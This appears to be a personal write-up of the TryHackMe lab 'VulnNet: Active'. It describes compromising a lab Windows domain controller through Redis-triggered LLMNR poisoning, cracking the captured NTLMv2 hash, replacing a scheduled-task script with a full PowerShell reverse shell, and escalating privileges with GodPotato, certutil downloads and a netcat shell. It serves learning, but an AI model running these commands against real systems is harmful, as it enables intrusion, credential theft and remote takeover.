[TryHackMe] VulnNet: Active

Following my previous write-up on Active Directory, I completed the TryHackMe challenge VulnNet: Active, which is available in this room.

The room is rated medium difficulty. For me, it was a great challenge and a valuable learning experience.

Using the TryHackMe environment, I configured an attacker machine at 10.10.223.6 and a victim machine at 10.10.161.36.

Nmap scan

I learned that in CTFs like this it’s important to scan the full port range with nmap, so I use the -p- option and the faster timing template -T4. It takes a while to complete.

sudo nmap -p- -sVC -O 10.10.161.36 -T4

Nmap scan report for 10.10.161.36
Host is up (0.00044s latency).
Not shown: 65522 filtered ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
6379/tcp  open  redis         Redis key-value store 2.8.2402
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49707/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1s
|_nbstat: NetBIOS name: VULNNET-BC3TCK1, NetBIOS user: <unknown>, 
NetBIOS MAC: 02:7b:dc:f8:bd:e7 (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-10-16T07:58:28
|_  start_date: N/A

Enum4linux

I ran enum4linux and enum4linux-ng to check for accessible shares and guest access, but those checks weren’t possible without valid credentials. I particularly appreciate enum4linux-ng for the thoroughness of its output; it provided all relevant domain details

Computer name: VULNNET-BC3TCK1
Domain name: VULNNET
DNS domain: vulnnet.local
FQDN: VULNNET-BC3TCK1SHNQ.vulnnet.local

Since the results of this CTF diverged from the flow of my previous Active Directory write-up, I took some time to carefully consider how to proceed.

LLMNR poisoning

In the CEH course I learned about LLMNR poisoning, which I found inspiring; I also read that it can appear on practical exams, so I considered testing it in this CTF to gain hands‑on experience.

LLMNR is a protocol that allows both IPv4 and IPv6 hosts to perform name resolution for hosts on the same local network without requiring a DNS server or DNS configuration.

When a host’s DNS query fails (i.e., the DNS server doesn’t know the name), the host broadcasts an LLMNR request on the local network to see if any other host can answer.

LLMNR is the successor to NetBIOS. NetBIOS (Network Basic Input/Output System) is an older protocol that was heavily used in early versions of Windows networking.

An LLMNR‑poisoning attack typically employs the tool Responder to capture credentials.

sudo su
cd
git clone https://github.com/SpiderLabs/Responder.git
exit
sudo responder

On the attacker machine, verify the network interface with ip a and then start Responder.

ip a
...
2: ens5: <BROADCAST,MULTICAST,UP,LOWER_UP> 
    inet 10.10.223.6/16 metric 100 brd 10.10.255.255 
...

responder -I ens5 

Unfortunately TryHackMe experienced significant network issues and resonder did not function at all on the attacker machine, so I had to start my Kali VM and connected via OpenVPN to test the LLMNR‑poisoning attack.

Start by running responder on Kali.

sudo responder -I tun0

Which action

The next question is how to provoke the victim machine into issuing an LLMNR broadcast. It’s clear that this requires experience and a good deal of trial and error. Let us summarize the information gathered about the services running on the victim machine. After carefully inspecting the services on the remote host, the Redis service on port 6379 appears to be the most promising avenue. Again, this process is challenging, and I believe there is a learning curve before one can confidently identify which service to exploit.

Redis

The redis-cli can be used to connect to the Redis service, after which Redis can be instructed to download a file from an attacker‑controlled host. The file on the attacker system need not actually exist; the objective is merely to provoke the victim into issuing an LLMNR request.

redis-cli -h 10.10.161.36
CONFIG SET dir \\10.10.223.6\fake\fake.txt
CONFIG SET dbfilename test.rdb
Save

Responder performed as expected and captured an NTLM hash.

[SMB] NTLMv2-SSP Client   : 10.10.161.36
[SMB] NTLMv2-SSP Username : VULNNET\enterprise-security
[SMB] NTLMv2-SSP Hash     : enterprise-security::VULNNET:861ec8713aff0432:
01638DC9DA9C8EF3E44E303FA5603968:
0101000000000000004104BB563EDC01CEF7426EBE906CAE000000000200080054005A005700
480001001E00570049004E002D0049004B005000440032004500580057004800380050000400
3400570049004E002D0049004B005000440032004500580057004800380050002E0054005A00
570048002E004C004F00430041004C000300140054005A00570048002E004C004F0043004100
4C000500140054005A00570048002E004C004F00430041004C0007000800004104BB563EDC01
06000400020000000800300030000000000000000000000000300000F37F5E8C02F48490AE48
7057523F8B1E638010591E73C52D886C34001E9972200A001000000000000000000000000000
000000000900220063006900660073002F00310030002E0038002E003100320036002E003100
300033000000000000000000    

Copy and save the hash (beginning with enterprise-security…) to a file and use john to crack it.

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt 

Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

sand_0873959498  (enterprise-security)     

1g 0:00:00:06 DONE (2025-10-16 04:53) 0.1602g/s 643282p/s 643282c/s 643282C/s sandoval69..sand36
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 

John decoded the password sand_0873959498

Enumerate shares

Now that credentials have been recovered, we can resume enumeration using NetExec, enum4linux and other tools to find shares.

NetExec

nxc smb 10.10.161.36 -u enterprise-security -p sand_0873959498 --shares

Due to network issues with TryHackMe, I reassigned a different IP to the victim machine.

Get digistam’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

NetExec detected the shares:

• ADMIN$
• C$
• Enterprise-Share (READ, WRITE)
• IPC$ (READ)
• NETLOGON (READ)
• SYSVOL (READ)

With these READ permissions available, I’ll connect to the shares to examine their contents.

Enumerate shares

smbclient //10.10.72.123/Enterprise-Share -U enterprise-security
Password for [WORKGROUP\enterprise-security]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Feb 23 22:45:41 2021
  ..                                  D        0  Tue Feb 23 22:45:41 2021
  PurgeIrrelevantData_1826.ps1        A       69  Wed Feb 24 00:33:18 2021

  9558271 blocks of size 4096. 4999312 blocks available
smb: \>

Within the share, I discovered a PowerShell script named PurgeIrrelevantData_1826.ps1.

Contents:

rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue

Scheduled task

Thanks to write‑ups by others who completed this CTF, I discovered that the PowerShell script is invoked by a scheduled task; scheduled tasks are an excellent vector for privilege escalation.

Since the script runs on a schedule, I could drop in some extra code and wait for the task to run to see what happens.

The website revshells.com provided an example PowerShell reverse‑shell snippet that worked well.

I prepared a meterpreter multi handler session using the console on my attacker pc.

mfsconsole
use exploit/multi/handler
set LHOST [IP address attacker or NIC]
set LPORT 4444
set payload windows/x64/powershell_reverse_tcp
run

Then, I downloaded the PowerShell script from the server to my local machine (using get) and edited it with nano; the resulting script was as follows:

#rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue
$LHOST = "10.10.59.154"; $LPORT = 4444; 
$TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); 
$NetworkStream = $TCPClient.GetStream(); 
$StreamReader = New-Object IO.StreamReader($NetworkStream); 
$StreamWriter = New-Object IO.StreamWriter($NetworkStream); 
$StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; 
while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { 
$RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); 
$Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; 
if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { 
Invoke-Expression ($Code) 2>&1 } catch { $_ }; 
$StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); 
$NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()

I used the put command to overwrite the existing PowerShell file in the share.

smb: \> put PurgeIrrelevantData_1826.ps1 

After a short period, the meterpreter listener received a connection.

msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.187.159:4444 
[*] Powershell session session 1 opened (10.10.187.159:4444 -> 10.10.171.227:49818) at 2025-10-16 16:38:30 +0100

Using a Meterpreter session, I navigated the filesystem and found C:\Users\enterprise-security\Desktop\user.txt, which contained the first flag.

Privilege escalation

As in most CTFs, a flag usually cannot be obtained without privilege escalation. First, let’s check the current privileges.

whoami /priv

PRIVILEGES INFORMATION 
Name  Description State    
============================= 
SeMachineAccountPrivilege - Add workstations to domain - Disabled 
SeChangeNotifyPrivilege - Bypass traverse checking - Enabled
SeImpersonatePrivilege - Impersonate a client after authentication - Enabled
SeCreateGlobalPrivilege - Create global objects - Enabled
SeIncreaseWorkingSetPrivilege - Increase a process working set - Disabled

SeImpersonatePrivilege

In Windows, SeImpersonatePrivilege is a special user right that allows a process to impersonate another user’s security context. This means that a process running under a low-privilege account can act on behalf of another, potentially more privileged, user. A Potato attack takes advantage of known issues in Windows to gain local privilege escalation, namely NTLM relay (specifically HTTP->SMB relay) and NBNS spoofing. Using specific techniques, it is possible for an unprivileged user to gain “NT AUTHORITY\SYSYTEM” level access to a Windows host in default configurations. There’s a great writeup on this topic on Medium.

One of the tools mentioned in the Medium article is GodPotato

GitHub - BeichenDream/GodPotato

PowerShell has specific mechanisms for downloading files. In many CTFs you cannot fetch files directly from the internet, so you must download them to your attacker machine first and transfer them to the target.

I downloaded GodPotato-NET35.exe to the Downloads folder on my attacker machine, then started a small Python 3 HTTP server to serve the file.

python3 -m http.server 8888

Reverse shell:

certutil -urlcache -f -split http://[IP address attacker]:8888/GodPotato-NET35.exe Potato-NET35.exe
./GodPotato-NET35.exe -cmd "cmd /c whoami"

GodPotato-NET35.exe failed, but GodPotato-NET4.exe worked.

NetCat for Windows

Unfortunately we can’t escalate from the current meterpreter shell. Netcat is a common way to spawn an interactive shell, but it isn’t native to Windows, so we must download a binary or transfer a payload to the target.

nc.exe/nc.exe at master · int0x33/nc.exe

I downloaded nc.exe and transfered it to the victim computer.

certutil -urlcache -f -split http://[IP address attacker]:8888/nc.exe nc.exe

On the attacker machine, I started a Netcat listener.

sudo nc -nlvp 4443

On the victim machine, I opened a Netcat connection as part of the Potato attack.

./Potato4.exe -cmd "c:\Users\enterprise-security\Downloads\nc.exe 
-e cmd.exe 10.10.10.19 4443"

The result was a reverse shell as the SYSTEM account, providing full administrative privileges. With administrative privileges, I enumerated the Administrator user’s folders.

cd \Users\Administrator\Desktop
dir

Directory of C:\Users\Administrator\Desktop

02/23/2021  09:27 PM    <DIR>          .
02/23/2021  09:27 PM    <DIR>          ..
02/23/2021  09:27 PM                37 system.txt
               1 File(s)             37 bytes
               2 Dir(s)  20,571,344,896 bytes free

more system.txt

The file C:\Users\Administrator\Desktop\system.txt contains the second flag; retrieving it allowed me to complete the challenge.